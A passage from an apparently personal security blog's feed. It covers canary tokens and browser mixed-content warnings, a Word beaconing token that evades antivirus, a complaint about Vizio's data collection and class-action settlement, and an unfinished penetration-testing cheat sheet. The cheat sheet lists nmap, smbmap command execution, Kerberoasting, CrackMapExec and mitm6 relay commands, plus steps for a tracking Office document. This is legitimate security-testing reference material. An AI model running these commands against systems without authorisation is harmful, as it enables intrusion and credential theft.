<p>The severity of the complaining depends on the nature of the elements. An <code class="language-plaintext highlighter-rouge">&lt;img&gt;</code> tag will get <a href="https://support.mozilla.org/en-US/kb/mixed-content-blocking-firefox">less noise</a> than the <a href="https://developer.mozilla.org/en-US/docs/Web/Security/Mixed_content">fields of a login form</a>, or a <code class="language-plaintext highlighter-rouge">&lt;script&gt;</code> tag, for example. Any HTTP-only elements are immediately suspect, since the page as a whole is loading over HTTPS. This makes sense, because an attacker taking a mitm position could be loading a frame with HTTP content in addition to the secure HTTPS content, trying to obtain credentials or other user input. Even by just loading images, an attacker could disrupt the use of the page by loading objectionable content.</p>

<h1 id="questions-to-answer">Questions to Answer</h1>

<p>A couple questions started forming in my head:</p>
<ol>
  <li>Can I hide the URL to the Canary Token so it isn’t obvious where it goes?</li>
  <li>Can I restore the HTTPS status to “Green” while still including the token?</li>
</ol>

<p>Spoilers: The answer to both questions is “yes,” but not both at the same time, and for good reason.</p>

<h1 id="browser-security">Browser Security</h1>

<p>Hiding the origin of an HTTP element is trivial if you control a DNS domain. Simply set up an A record of your choosing to point to the same IP address as the domain in the original URL, and voila, “DNS overloading”:</p>

<p><img src="../../../assets/images/canary-02-04.png" alt="HTTP overloading" /></p>

<p>This gets a little more complex if the destination has a rotating IP address, and it doesn’t resolve the original problem of showing the “all clear” with regards to HTTPS in the browser.</p>

<p>Next I tried using HTTPS URLs instead of HTTP URLs for the Canary Tokens. I know the site for the tokens supports HTTPS (also through Let’s Encrypt), but I had a suspicion this wouldn’t work, with the DNS overloading. I was surprised when I reloaded the page and got a green padlock… but then I realized the token was no longer firing. Clearly the browser was having none of this kind of dirty trick:</p>

<p><img src="../../../assets/images/canary-02-05.png" alt="No you may not" /></p>

<p>The reason should be obvious:</p>

<p><img src="../../../assets/images/canary-02-06.png" alt="You can't do that!" /></p>

<p>Trying to obfuscate the true domain destination of an element while also using HTTPS violates modern browser security: namely, the TLS certificate that is supplied by the destination doesn’t match the domain name that was used to load the element. This raises flags, because it shouldn’t occur under any normal/benign circumstances. In short, it means somebody is up to something sneaky.</p>

<h1 id="options">Options</h1>

<p>So what to do? Well, that depends on the ultimate goal:</p>

<ol>
  <li>If your goal is to embed the remote resource without disclosing its DNS domain of origin, you’re stuck with non-secure HTTP and DNS overloading. This will give you the “yellow” padlock in today’s browsers.</li>
  <li>If your goal is to embed the remote resource with completely valid HTTPS, you must disclose the DNS domain of origin (the one that matches the TLS certificate):</li>
</ol>

<p><img src="../../../assets/images/canary-02-07.png" alt="Now everything is right with the world" /></p>

<p>For this site, since I’m not interested in either, I’ve removed the auto-loading Canary Token reference entirely, but kept the hidden anchor tag to see what kind of crawlers poke around the hidden elements of the site. Since that anchor tag doesn’t auto load any content, using unencrypted HTTP doesn’t set off any alerts in the browser. I wonder if one day we will see browsers complaining if an HTTPS site contains a single non-secure HTTP link… 🤔</p>

<p>[Edited to add: In the few minutes it took me to fix a couple words in this post, GoogleBot had already visited the hidden URL in the page’s source twice :D]</p>]]></content><author><name>vext</name></author><category term="canary" /><category term="token" /><category term="privacy" /><category term="tracking" /><category term="analytics" /><category term="SSL" /><category term="TLS" /><category term="Firefox" /><summary type="html"><![CDATA[What had happened was… It didn’t take long to learn (or re-learn) some more interesting things, thanks to Thinkst Canary Tokens.]]></summary></entry><entry><title type="html">Fun with Canary tokens</title><link href="/2019/03/12/fun-with-canary-tokens.html" rel="alternate" type="text/html" title="Fun with Canary tokens" /><published>2019-03-12T22:15:43+00:00</published><updated>2019-03-12T22:15:43+00:00</updated><id>/2019/03/12/fun-with-canary-tokens</id><content type="html" xml:base="/2019/03/12/fun-with-canary-tokens.html"><![CDATA[<h1 id="whonary-tokens">Whonary Tokens?</h1>
<p>Canary tokens are a concept that has been around for a while. The more generic name for them was <a href="https://en.wikipedia.org/wiki/Honeytoken">Honeytokens</a>. There are a few free services online for generating and alerting based on their use, and there are also free DIY packages for setting them up without relying on a third party. <a href="https://thinkst.com/">Thinkst</a> offers <a href="https://canarytokens.org/generate">Canary tokens</a> for free, and their offering really has grown a lot, in the last couple years, both in terms of features and ease of use. <a href="https://zeltser.com/honeytokens-canarytokens-setup/">Others</a> <a href="https://infosecaddicts.com/easy-honeypots-canary-tokens/">have written</a> <a href="https://resources.infosecinstitute.com/how-to-protect-files-with-canary-tokens/">about these</a> and their merits, but today I had some fun going down a bit of a coal mine, so to speak, all thanks to these tricky little tokens.</p>

<h1 id="the-basics">The Basics</h1>
<p>In short, canary tokens are a really simple concept: seed some bogus data (a “token”) somewhere within your real data. Set it up in such a way that if the bogus data is ever accessed, you receive an alert (the “canary”). This will indicate that somebody is doing things they shouldn’t, since you (the data owner/steward) would have no reason to ever touch the token after you originally create it.</p>

<p>This requires a little bit of infrastructure, of course, but it isn’t that complicated. In short, there are three components needed:</p>

<ol>
  <li>The token itself (e.g., a username, or document, or URL). Each token should be unique.</li>
  <li>A receiving mechanism of some kind that will receive a signal if the token is activated (e.g., Active Directory, or a file access monitoring system, or a web server).</li>
  <li>A notification mechanism to alert the appropriate individual(s) that the token has been activated (e.g., sending an email, or generating an event in a security event manager).</li>
</ol>

<p>Ideally, you also keep track of some meta data around each unique token, to make sure you can recall where it was implemented.</p>

<p>Thinkst handles all of the infrastructure around token creation (of various types).</p>

<p><img src="../../../assets/images/canary01.png" alt="Canary Token Types" /></p>

<p>They also handle the signal receiving (via HTTP request to their Canary Token server infrastructure), and alerting (bundled with the same).</p>

<p>This makes getting started with such tokens a breeze. Simply choose the type of token you want, enter the notification email, and a note to remind you what the token was used for, click a button, and you are good to go.</p>

<p><img src="../../../assets/images/canary02.png" alt="Canary Token Setup" /></p>

<p><img src="../../../assets/images/canary03.png" alt="Canary Token Setup Done!" /></p>

<p>Of course, since it’s free, Thinkst gets analytics data from the platform they can analyze and likely share. For more sensitive implementations, they offer a commercial version of the service, and there are self-hosted DIY solutions out there, too.</p>

<h1 id="analysis">Analysis</h1>

<p>I have been meaning to set up and test Canary Tokens for literally years without getting around to it. Today I generated tokens for a couple different purposes, and decided to do some analysis on the MS Word Document form of the token.</p>

<p>First I downloaded the generated payload file, and ran it through ClamAV to see what it would pick up. Not a big surprise, it didn’t detect anything:</p>

<p><img src="../../../assets/images/canary04.png" alt="ClamAV" /></p>

<p>As an aside, while I was getting updated signatures for ClamAV, I noticed this:</p>

<p><img src="../../../assets/images/canary04-aside.png" alt="The Matrix has you, neo..." /></p>

<p>Cool. Sup, neo.</p>

<p><img src="../../../assets/images/canary04-aside.jpg" alt="We're safe from viruses, everyone" /></p>

<p>In all seriousness, thanks to neo and everyone else who contributes their time to ClamAV. We need more open source solutions like that one.</p>

<p>Then I tried the AV on my Windows machine, [GENERICAV]. It also didn’t detect anything. Hmm. Well, Defender has gotten better in recent years, so let’s try that…</p>

<p><img src="../../../assets/images/canaryclip01.png" alt="Windows Defender" /></p>

<p>No, huh? Ok, well surely <strong>some</strong> AV is going to catch it…</p>

<p><img src="../../../assets/images/canary05.png" alt="All the AV" /></p>

<p>… Or not. And don’t call me Shirly.</p>

<p>So at this point I was curious, since none of the AV platforms were catching the payload. I opened the file in MS word, and sure enough, it phoned home. I received an email shortly after indicating that it had been opened, including my IP address and some basic information about the version of the .NET browser used to request the URL.</p>

<p>I had also received such an email when I uploaded the file to VirusTotal. Interestingly, of all the scanners included in VirusTotal, I initially only got one notification. This either means the various scanners aren’t detonating payloads (which I find hard to believe), or else Thinkst puts some rate limiting on the email notifications. I did some additional testing, and the latter appears to be the case, since I can’t generate a ton of notifications from a single token rapidly. This makes sense, given that there is no email confirmation when creating a token…</p>

<p>Makes you think, though… 🤔</p>

<p>[Edited to add: I started getting further hits on the VirusTotal token more than an hour after the original upload time. Seems there is a delay before some sandboxes start really analyzing new uploads.]</p>

<p>Anyway, back on track, here is an example of the alerts generated when a token is opened:</p>

<p><img src="../../../assets/images/canary06.png" alt="New token, who dis?" /></p>

<p>Looks like Google has the fastest sandbox response, for this test:</p>

<p><img src="../../../assets/images/canary07.png" alt="Google likes me!" /></p>

<p>All right, so we have an AV-evading payload that phones home when a Word document is opened. Sounds like some old school macro love, right?</p>

<p><img src="../../../assets/images/canaryclip02.png" alt="Wrong" /></p>

<p>Wrong. Hmm. Not a macro… Searching memory… I know I remember something about a DDE vulnerability in Word. But Microsoft fixed, that right?</p>

<p><img src="../../../assets/images/canary09.png" alt="DDE (bleepingcomputer)" /></p>

<p>Yeah! I remember… things… See? They patched that way back when. So if it’s not a macro and it’s not DDE, I don’t know of anything else it could be… Maybe my machine isn’t patched for DDE? How do I determine that?</p>

<p><img src="../../../assets/images/canary10.png" alt="DDE 2 (bleepingcomputer)" /></p>

<p>Ok. Easy enough. I’ll just check for that key to confirm that I’m patched…</p>

<p><img src="../../../assets/images/canaryclip03.png" alt="Registry" /></p>

<p>Oh really, now? I update regularly, but double-checking won’t hurt…</p>

<p><img src="../../../assets/images/canaryclip04.png" alt="No Updates" /></p>

<p>I… what. Triple-checking, since I’ve had an issue in the past with false positives on Windows updates…</p>

<p><img src="../../../assets/images/canaryclip05.png" alt="Seriously, no updates" /></p>

<p><img src="../../../assets/images/canary12.png" alt="Windows Builds (Wikipedia)" /></p>

<p>Ok, so I’m on the latest released build… What gives?</p>

<p>Further investigation led to me discovering that my MS Office install wasn’t getting updates, so I fixed that and ran an update… but that wasn’t the problem. The DDE fix simply doesn’t get applied to my machine. Apparently that registry key must be applied manually. That’s good to know.</p>

<p>So my machine is vulnerable, lending support to this indeed being DDE. Searching for how to set up DDE quickly lands multiple pages with instructions on how to add the necessary field code to leverage the attack. It took a few more minutes of searching to find how to <strong>view</strong> such fields when they are already present in the file:</p>

<p><img src="../../../assets/images/canaryclip06.png" alt="Show field codes DDE" /></p>

<p>I enable that option, turn on viewing formatting symbols for good measure, view the file again and…</p>

<p><img src="../../../assets/images/canaryclip07.png" alt="Blank document" /></p>

<p>…</p>

<p><img src="../../../assets/images/canary13.jpg" alt="Srsly?" /></p>

<p>*Scrolls down*</p>

<p><img src="../../../assets/images/canaryclip08.png" alt="Gotcha!" /></p>

<p>Ah ha! There it is. Hidden in the footer, no less. Sneaky.</p>

<h1 id="conclusion">Conclusion</h1>

<p>This was an unplanned exploration of how the DDE functionality of MS word, more than a year after it was “fixed” by Microsoft, lingers as a potential security risk on computers running Microsoft Office (and by the way, I tested it on a Mac running Office, and it works there, too). It was also a more deliberately planned exploration of how Thinkst Canary Tokens work. There are numerous other kinds of such tokens including URL, PDF, DNS and others. So long as the implementation doesn’t involve highly sensitive context(s), I encourage others to make use of the free Canary Tokens offered by Thinkst, some similar service offering, or to look into setting up your own DIY solution. This technology is a very easy to implement warning system in the event of unauthorized access.</p>

<p>[Edited to update: It looks like the specific functionality that was fixed in Office was the “DDEAUTO” method. I’ve done some testing and I can’t get code execution to work with it the way it’s written up in various blogs. I will have to tinker and see if that’s just simple string matching or if they removed that functionality entirely. Even so, the beaconing functionality that is still in place is potentially very risky, and useful as part of the recon phase of a targeted attack, particularly since it doesn’t trigger any AV signatures.]</p>]]></content><author><name>vext</name></author><category term="canary" /><category term="token" /><category term="privacy" /><category term="tracking" /><category term="analytics" /><category term="dde" /><category term="virustotal" /><summary type="html"><![CDATA[Whonary Tokens? Canary tokens are a concept that has been around for a while. The more generic name for them was Honeytokens. There are a few free services online for generating and alerting based on their use, and there are also free DIY packages for setting them up without relying on a third party. Thinkst offers Canary tokens for free, and their offering really has grown a lot, in the last couple years, both in terms of features and ease of use. Others have written about these and their merits, but today I had some fun going down a bit of a coal mine, so to speak, all thanks to these tricky little tokens.]]></summary></entry><entry><title type="html">Vizio Privacy Violations, or Why Class Actions are Bullshit</title><link href="/2019/03/05/vizio-privacy-violations-or-why-class-actions-are-bullshit.html" rel="alternate" type="text/html" title="Vizio Privacy Violations, or Why Class Actions are Bullshit" /><published>2019-03-05T20:19:53+00:00</published><updated>2019-03-05T20:19:53+00:00</updated><id>/2019/03/05/vizio-privacy-violations-or-why-class-actions-are-bullshit</id><content type="html" xml:base="/2019/03/05/vizio-privacy-violations-or-why-class-actions-are-bullshit.html"><![CDATA[<h1 id="background">Background</h1>
<p>Between February 2014 and February 2017, Vizio collected information about customer viewing habits through their Vizio Smart TVs, and sold that information, all without clearly disclosing the nature of their collection or disclosure to their paying customers. As a result, there is a class action lawsuit against Vizio:</p>

<p>“<em>The  lawsuit  alleges  VIZIO  violated  privacy  laws  and  consumer-protection  laws  by  collecting  sensitive  information  about  what  was  displayed  on  certain VIZIO  Smart  TVs  during  the  time  period above for sale to advertisers. The lawsuit also alleges VIZIO did this without the consent or knowledge of persons who bought these TVs. VIZIO denies these allegations.</em>”</p>

<p>Now, I’m not a lawyer, so I have no idea whether what they did “violated privacy laws and consumer-protection laws.” Given that <a href="http://www.frontiertechnology.co.uk/about-us/news/differences-between-eu-and-us-data-laws/">the United States doesn’t really have well-established data privacy laws</a>, I wouldn’t be surprised to learn that Vizio did nothing that technically breaks the law; how do you break a law that doesn’t exist?</p>

<p>Note, of course, that none of the above discusses whether or not what Vizio did was <strong>wrong</strong>.</p>

<h1 id="a-random-privacy-abuse-appears">A Random Privacy Abuse Appears!</h1>
<p>But I should back up a bit. Why do I care about this? I own a Vizio TV. One day last week, I turned my TV on to use the Pandora app, intending to listen to some music while working on my computer. Instead of a simple experience of turning on, tuning in, and rocking out, I was instead presented with this message:</p>

<p><img src="../../../assets/images/fuckoffvizio3.png" alt="Fuck off, Vizio" /></p>

<p>Well. That’s just lovely. My response on Twitter was none too gentle:</p>

<p><a href="https://twitter.com/0xvext/status/1101509727241076736">@0xvext</a> writes:
<img src="../../../assets/images/fuckoffvizio1.png" alt="@0xvext" /></p>

<p>“Hey @Verizon @verizonmedia @AOL @Yahoo @VIZIO, when a person turns on their TV, they shouldn’t be forced to surrender their rights to use the device they paid for. The only reason to demand such is you intend to abuse user privacy. How about you go fuck yourself?”</p>

<p>Note the distinct lack of any kind of “opt out” option on that message. It is stating very explicitly that continuing to use their services is accepting their terms, and surrendering your rights. This kind of anti-consumer activity by big companies rather obviously angers me. Fortunately I had an old AppleTV laying around, and I turned that on and got it set up. Within minutes I was faced with a very different kind of prompt:</p>

<p><img src="../../../assets/images/fuckoffvizio4.png" alt="Fuck off, Vizio" /></p>

<p>I took to Twitter again:</p>

<p><a href="https://twitter.com/0xvext/status/1101578795084062720">@0xvext</a> writes:
<img src="../../../assets/images/fuckoffvizio2.png" alt="@0xvext" /></p>

<p>“To the people at OATH, this is literally all you had to do to not create an adversarial relationship with your customers. Take a page from the @AppleTV playbook”</p>

<p>I’m not an Apple fanboy, but of the monolithic tech companies we have today, they consistently seem to be the least data-hungry, and the most proactively responsible with disclosing data use, and in giving the consumer options with regards to sharing such data.</p>

<p>Setup complete, I proceeded to continue with my plan of listening to some good music while working from home, to worry over the Vizio TV another day.</p>

<h1 id="another-day-another-message">Another Day, Another Message</h1>
<p>The next day, turning on my TV again, I was faced with a different message. This one was no longer the “surrender your rights” notice that had remained on screen the entire day prior, but instead a notice regarding a class action lawsuit against Vizio, informing me that I may be part of the class, and could submit a claim at a specific URL. I don’t have a picture of that message, because it was on screen for no more than a minute or two before it went away, with no interaction from me. I was literally picking up my phone to take a picture when the message vanished from the screen.</p>

<p>So, thus far, we have:</p>

<p>Message 1: A no-choice notice that you are surrendering your rights by using the service. The message does not go away without the user clicking to effectively “accept” it.</p>

<p>Message 2: Information educating the consumer about their rights and how to submit a claim in the class-action, displayed briefly, then automatically vanishing from the display.</p>

<p>See the difference?</p>

<p>Classy, Vizio. Real classy.</p>

<p>So, to be very clear, I have since factory-reset my Vizio TV and taken it off my wireless network. I will no longer be using the “Smart TV” features of the device, because I do not intend to accept Vizio’s (or OATH’s, or whoever the hell they are now) terms of service with regards to “mutual arbitration” and a “class action waiver.”</p>

<h1 id="understanding-your-rights">Understanding Your Rights</h1>
<p>So, what next? Well, I searched and found the <a href="https://viziotvsettlement.com">website</a> of the class action suit. The domain is registered through GoDaddy, so that doesn’t help much with confirming who runs it. Looking further on the site, it appears to be set up by an organization called A.B. Data, Ltd. I’m not entirely clear if they set this up on behalf of Vizio or the class representatives.</p>

<p>Looking into the site and the information presented on it is a rabbit hole all on its own. The following is my own brief - and, spoilers, demoralizing - adventure into that rabbit hole.</p>

<p>Let’s start at the top:</p>

<p><img src="../../../assets/images/fuckoffvizio5.png" alt="Fuck off, Vizio" /></p>

<p>Ok, so… informative. No accounting for taste, on the colors, but it does grab the attention. Let’s see… what’s this about a claim..?</p>

<p><img src="../../../assets/images/fuckoffvizio6.png" alt="Fuck off, Vizio" /></p>

<p>$13 to $31 for violating my privacy and running a morally ambiguous (at best) business practice, ok… seems a bit light… But, hey, what can we expect in a country that doesn’t care about protecting the data privacy of its citizens?</p>

<p>The page is a summary of the full notice, and it does suggest that readers should look at the full text… so let’s dive deeper.</p>

<p><img src="../../../assets/images/fuckoffvizio7.png" alt="Fuck off, Vizio" /></p>

<p>We get the summary information again, and then we get into the details of the choices available to a consumer:</p>

<p><img src="../../../assets/images/fuckoffvizio8.png" alt="Fuck off, Vizio" /></p>

<p>The document then goes into an FAQ-style list of answers to inquiries such as “What is this lawsuit about?” and “Why is there a settlement?”</p>

<p>Next, the important information on how to determine if you are a member of the affected class:</p>

<p><img src="../../../assets/images/fuckoffvizio9.png" alt="Fuck off, Vizio" /></p>

<p>Huh. Only one purchaser per Smart TV per household may qualify to submit a claim. That seems… odd. Couldn’t multiple members of a household have had their privacy violated? My bullshit detectors start to warm up…</p>

<h1>$$$</h1>

<p>Next we get into some numbers:</p>

<p><img src="../../../assets/images/fuckoffvizio10.png" alt="Fuck off, Vizio" /></p>

<p>Ok, $17 million into a fund… after lawyers get their cut (spoilers: it’s about 1/3 of the total, plus some more)… they expect that to be $13 to $31 per claim. I’m not sure how they determined the starting value of the fund, but maybe we will learn more.</p>

<p>(In other news: I should have gone to law school.)</p>

<p>Looks like Vizio also agreed to modify the disclosures to their customers with regards to data collection. A mock-up of the on-screen version of that disclosure has been released by Vizio:</p>

<p><img src="../../../assets/images/fuckoffvizio11.png" alt="Fuck off, Vizio" /></p>

<p>Vizio also agreed to delete all the data that was gathered during the noted window between 2014 and 2017. This is the first place my bullshit detectors start going off. Some important questions arise:</p>

<ol>
  <li>How much financial benefit did Vizio already gain from that data? Perhaps we will learn more as we continue reading…</li>
  <li>How much is that data worth today? My guess is that this kind of data has a very short temporal value, and it’s no skin off Vizio’s nose to delete it at this point.</li>
</ol>

<p>Next we have some clarifications on how to submit a claim in order to get your windfall of $13 - $31; some deadline information; and what happens to the money if there is more left after the payouts are processed.</p>

<p>Next comes the explanation of what an individual surrenders in order to remain in the class, by either doing nothing or submitting a claim:</p>

<p><img src="../../../assets/images/fuckoffvizio12.png" alt="Fuck off, Vizio" /></p>

<p>There is information about the lawyers representing the class, then the information on how much money goes to the lawyers, and how much goes to each of the six plaintiffs who submitted the initial suits that were merged into the class action:</p>

<p><img src="../../../assets/images/fuckoffvizio13.png" alt="Fuck off, Vizio" /></p>

<p>Next are instructions for excluding yourself from the class (which can be done digitally or via traditional mail), and more clarifications on the ins and outs of excluding vs. remaining.</p>

<p>Next is a full page of information on objecting to the settlement. This is where a larger issue than just Vizio being a shitty company comes into play: In order to give criticism to the court, an individual must remain in the class, thereby ostensibly legitimizing the class action. If one excludes from the class, they can not then also offer objections that the court will hear:</p>

<p><img src="../../../assets/images/fuckoffvizio14.png" alt="Fuck off, Vizio" /></p>

<p>It gets even better, because if you stay in the class and wish to object, you can do so <strong>only</strong> via traditional mail. No modern methods for accepting input, here! Bullshit detectors #2.</p>

<p><img src="../../../assets/images/fuckoffvizio15.png" alt="Fuck off, Vizio" /></p>

<p>And finally, and most importantly, if you still have questions, as I do, a last page with instructions on how to get more information:</p>

<p><img src="../../../assets/images/fuckoffvizio16.png" alt="Fuck off, Vizio" /></p>

<h1 id="down-the-rabbit-hole">Down the Rabbit Hole</h1>
<p>Ok, great! We have a URL (though not a link, you might notice) to the PACER system. Public access to court electronic records sounds like a good thing! I bet that will have answers to the outstanding questions re: how much benefit Vizio gained from the data they already sold, and how much it’s worth in today’s value.</p>

<p><img src="../../../assets/images/pacer1.png" alt="PACER" /></p>

<p>Oh… well, uh… I guess I’ll search for the case # provided, on this page…</p>

<p><img src="../../../assets/images/pacer2.png" alt="PACER" /></p>

<p>No? Oh, um… Maybe I need to go to a specific page, then… let’s try Cases…</p>

<p><img src="../../../assets/images/pacer3.png" alt="PACER" /></p>

<p>Ok, um… there’s an FAQ here, maybe I’ll look at that…</p>

<p><img src="../../../assets/images/pacer4.png" alt="PACER" /></p>

<p>I’m trying to obtain copies of case files, so let’s RTFM…</p>

<p><img src="../../../assets/images/pacer5.png" alt="PACER" /></p>

<p>Ok, this sounds promising. So I just need to go to the main PACER website…</p>

<p><img src="../../../assets/images/pacer6.png" alt="PACER" /></p>

<p>Sweet, ok, making progress! I’ll just use the Find a Case feature, here…</p>

<p><img src="../../../assets/images/pacer7.png" alt="PACER" /></p>

<p>And I want to look up a case, so I guess I’ll use the Case Locator…</p>

<p><img src="../../../assets/images/pacer8.png" alt="PACER" /></p>

<p>Oh… It’s not free. Huh. That seems a little weird for something with “Public Access” as the first words in its acronym… But ok, I guess maybe I chose the wrong option? I’ll go back and try searching an individual court website…</p>

<p><img src="../../../assets/images/pacer9.png" alt="PACER" /></p>

<p>Boy, there sure are a lot of options… but I can handle this. I refer back to the class action notice, and it references the “United  States  District  Court  for  the  Central  District  of  California, Southern Division (Santa Ana).” So let’s try the California Central ECF…</p>

<p><img src="../../../assets/images/pacer10.png" alt="PACER" /></p>

<p>That is… not a pretty website. But I don’t need pretty. I just need functional. I’ll just load up the document filing system, and… oh…</p>

<p><img src="../../../assets/images/pacer11.png" alt="PACER" /></p>

<p>Oh… Oh no… Ok, this is fine. Wait, what’s that at the bottom?</p>

<p><img src="../../../assets/images/pacer12.png" alt="PACER" /></p>

<p>Seriously? So apparently the court system is pay to play, not just for lawyers, but even for class members in a class action. Just to understand whether or not the proposed settlement is reasonable or based on valid value propositions, you have to pony up to learn the details.</p>

<p>There go those bullshit detectors, again.</p>

<p>My main takeaway from this whole process is that I can be automatically named into a class for which an action is brought, but I can’t access any of the arguments (on either side) relating to that action without paying my own money to request them.</p>

<p>Based on my own level of knowledge, there are some rather important details that bring the specifics of the proposed settlement into question, but I can’t even do my own research on the matter without ponying up for a service that is unironically named “Public Access” yet which is pay to play.</p>

<h1 id="summary">Summary</h1>

<p>Let’s summarize the bullshit:</p>

<ul>
  <li>Arbitrarily limiting how many people in a household can be part of the class</li>
  <li>Seemingly arbitrary value estimation… I’m not a lawyer so I’m guessing there is some established guideline for this… but I can’t access the filing system without paying, so I’m uninformed</li>
  <li>Apparent assumption that ‘deleting the data’ is in any way a punishment or hardship for Vizio</li>
  <li>PACER system costs money to view court filings.</li>
</ul>

<p>Wait, what’s that last part?</p>

<p><img src="../../../assets/images/pacer13.png" alt="PACER" /></p>

<p>Dear god, I didn’t think it could get any worse!</p>

<p><img src="../../../assets/images/deargod.png" alt="deargod" /></p>]]></content><author><name>vext</name></author><category term="law" /><category term="vizio" /><category term="privacy" /><summary type="html"><![CDATA[Background Between February 2014 and February 2017, Vizio collected information about customer viewing habits through their Vizio Smart TVs, and sold that information, all without clearly disclosing the nature of their collection or disclosure to their paying customers. As a result, there is a class action lawsuit against Vizio:]]></summary></entry><entry><title type="html">Penetration Testing Reference Sheet</title><link href="/2019/02/18/penetration-testing-reference-sheet.html" rel="alternate" type="text/html" title="Penetration Testing Reference Sheet" /><published>2019-02-18T16:30:24+00:00</published><updated>2019-02-18T16:30:24+00:00</updated><id>/2019/02/18/penetration-testing-reference-sheet</id><content type="html" xml:base="/2019/02/18/penetration-testing-reference-sheet.html"><![CDATA[<p>This post is a “living document,” intended for me to keep a quick-and-dirty reference sheet around at all times, rather than as a standalone post. It will be updated with items that I find I need to refer to multiple times.</p>

<h1 id="passive-recon">Passive Recon</h1>
<h2 id="discover-scripts">Discover Scripts</h2>
<p><a href="https://github.com/leebaird/discover">https://github.com/leebaird/discover</a></p>

<h1 id="active-recon">Active Recon</h1>
<h2 id="dde-office-file">DDE Office File</h2>

<p>Create a new .docx with field code:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://domain.tld/path/totoken/index.html
or
http://subdomain.domain.tld
</code></pre></div></div>
<ol>
  <li>Insert</li>
  <li>Quick Parts</li>
  <li>Field</li>
  <li>IncludePicture</li>
  <li>After pasting above, add \d</li>
  <li>Should look like:
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{ INCLUDEPICTURE "http://domain.tld/path/totoken/index.html" \d \* MERGEFORMAT }
or
{ INCLUDEPICTURE \d "http://domain.tld/path/totoken/index.html" \* MERGEFORMAT }
</code></pre></div>    </div>
  </li>
</ol>

<h1 id="active-network-enumeration">Active Network Enumeration</h1>
<h2 id="nmap">Nmap</h2>
<h3 id="identifying-live-targets-from-a-specific-network-range">Identifying live targets from a specific network range</h3>
<p><code class="language-plaintext highlighter-rouge">nmap -sn -oA &lt;outputfile&gt; &lt;network(s)&gt;</code></p>
<h3 id="identifying-live-targets-from-a-provided-hostrange-list">Identifying live targets from a provided host/range list</h3>
<p><code class="language-plaintext highlighter-rouge">nmap -sn -oA &lt;outputfile&gt; -iL &lt;inputfile.txt&gt;</code></p>

<p>Note: parse output above for live hosts before port scanning to save time.</p>
<h3 id="identifying-open-tcp-ports">Identifying open TCP ports</h3>
<p><code class="language-plaintext highlighter-rouge">nmap -sS -p0-65535 -oA &lt;outputfile&gt; -iL &lt;inputfile&gt;</code></p>

<h3 id="scanning-for-service-version-banners-and-os-fingerprinting">Scanning for service version banners and OS fingerprinting</h3>
<p><code class="language-plaintext highlighter-rouge">nmap -sV -O -oA &lt;outputfile&gt; -p &lt;ports&gt; -iL &lt;inputfile&gt;</code></p>

<h3 id="scanning-for-common-vulnerabilities">Scanning for common vulnerabilities</h3>
<p><code class="language-plaintext highlighter-rouge">nmap -sC --script=vuln -oA &lt;outputfile&gt; -p &lt;ports&gt; -iL &lt;inputfile&gt;</code></p>

<h2 id="eyewitness">EyeWitness</h2>
<h3 id="screenshotting-https-targets">Screenshotting HTTP/S targets</h3>
<p><code class="language-plaintext highlighter-rouge">/opt/EyeWitness/EyeWitness.py --web --prepend-https -f &lt;inputfile&gt;</code></p>

<h3 id="screenshotting-rdp-targets">Screenshotting RDP targets</h3>
<p><code class="language-plaintext highlighter-rouge">/opt/EyeWitness/EyeWitness.py --rdp --ocr -f &lt;inputfile&gt;</code></p>

<h2 id="smbmap">SMBMap</h2>
<h3 id="scan-for-unauthenticated-shares-on-target">Scan for unauthenticated shares on target</h3>
<p><code class="language-plaintext highlighter-rouge">smbmap -H &lt;target&gt;</code></p>

<h3 id="scan-for-authenticated-shares-on-target">Scan for authenticated shares on target</h3>
<p><code class="language-plaintext highlighter-rouge">smbmap -H &lt;target&gt; -u &lt;username&gt; -p &lt;password&gt; -d &lt;domain&gt;</code></p>

<h3 id="execute-a-command-via-smb">Execute a command via SMB</h3>
<p><code class="language-plaintext highlighter-rouge">smbmap -H &lt;target&gt; -u &lt;username&gt; -p &lt;password&gt; -d &lt;domain&gt; -x &lt;command&gt;</code></p>

<h2 id="impacket">Impacket</h2>
<h3 id="enumerate-spns-requires-user-creds">Enumerate SPNs (requires user creds)</h3>
<p><code class="language-plaintext highlighter-rouge">impacket-GetUserSPNs -request -dc-ip 192.168.2.160 &lt;fulldomain&gt;/&lt;user&gt;</code></p>

<p>Crack in Hashcat with -m 13100</p>

<h2 id="crackmapexec">CrackMapExec</h2>
<h3 id="scan-for-unauthenticated-shares-on-target-1">Scan for unauthenticated shares on target</h3>
<p><code class="language-plaintext highlighter-rouge">cme smb &lt;target&gt; -u '' -p '' --shares</code></p>

<h3 id="scan-for-authenticated-shares-on-target-1">Scan for authenticated shares on target</h3>
<p><code class="language-plaintext highlighter-rouge">cme smb &lt;target&gt; -u &lt;username&gt; -p &lt;password&gt; --shares</code></p>

<p><a href="https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference">https://github.com/byt3bl33d3r/CrackMapExec/wiki/SMB-Command-Reference</a></p>

<h2 id="cewl">Cewl</h2>
<h3 id="generate-word-and-email-lists-from-page">Generate word and email lists from page</h3>
<p><code class="language-plaintext highlighter-rouge">cewl -w &lt;wordsoutputfile&gt; -a -e --email_file &lt;emailsoutputfile&gt; -v &lt;target&gt;</code></p>

<h1 id="parsing-output">Parsing output</h1>
<h2 id="cutting-nmap-results">Cutting Nmap results</h2>
<h3 id="parsing-live-hosts-from-discovery-scan">Parsing live hosts from discovery scan</h3>
<p><code class="language-plaintext highlighter-rouge">grep Host &lt;inputfile.gnmap&gt; | cut -d" " -f 2 | sort -u &gt; &lt;outputfile&gt;</code></p>

<h3 id="listing-unique-open-ports-from-a-previous-scan">Listing unique open ports from a previous scan</h3>
<p><code class="language-plaintext highlighter-rouge">grep syn-ack &lt;inputfile.nmap&gt; | cut -d/ -f 1 | sort -u &gt; &lt;outputfile&gt;</code></p>

<h3 id="removing-line-breaks-and-inserting-commas-for-nmap-port-specification">Removing line breaks and inserting commas for Nmap port specification</h3>
<p><code class="language-plaintext highlighter-rouge">sed -n -e 'H;${x;s/\n/,/g;s/^,//;p;}' &lt; &lt;inputfile&gt;</code></p>

<h1 id="interception">Interception</h1>

<h2 id="bettercap">Bettercap</h2>

<h2 id="mitm6">mitm6</h2>
<p><code class="language-plaintext highlighter-rouge">mitm6 -d &lt;fulldomain&gt;</code></p>

<p>Can run with Responder to get hashes when LLMNR is disabled.</p>

<p>Or, relies on ntlmrelayx running with appropriate settings:</p>

<h2 id="ntlmrelayx">ntlmrelayx</h2>
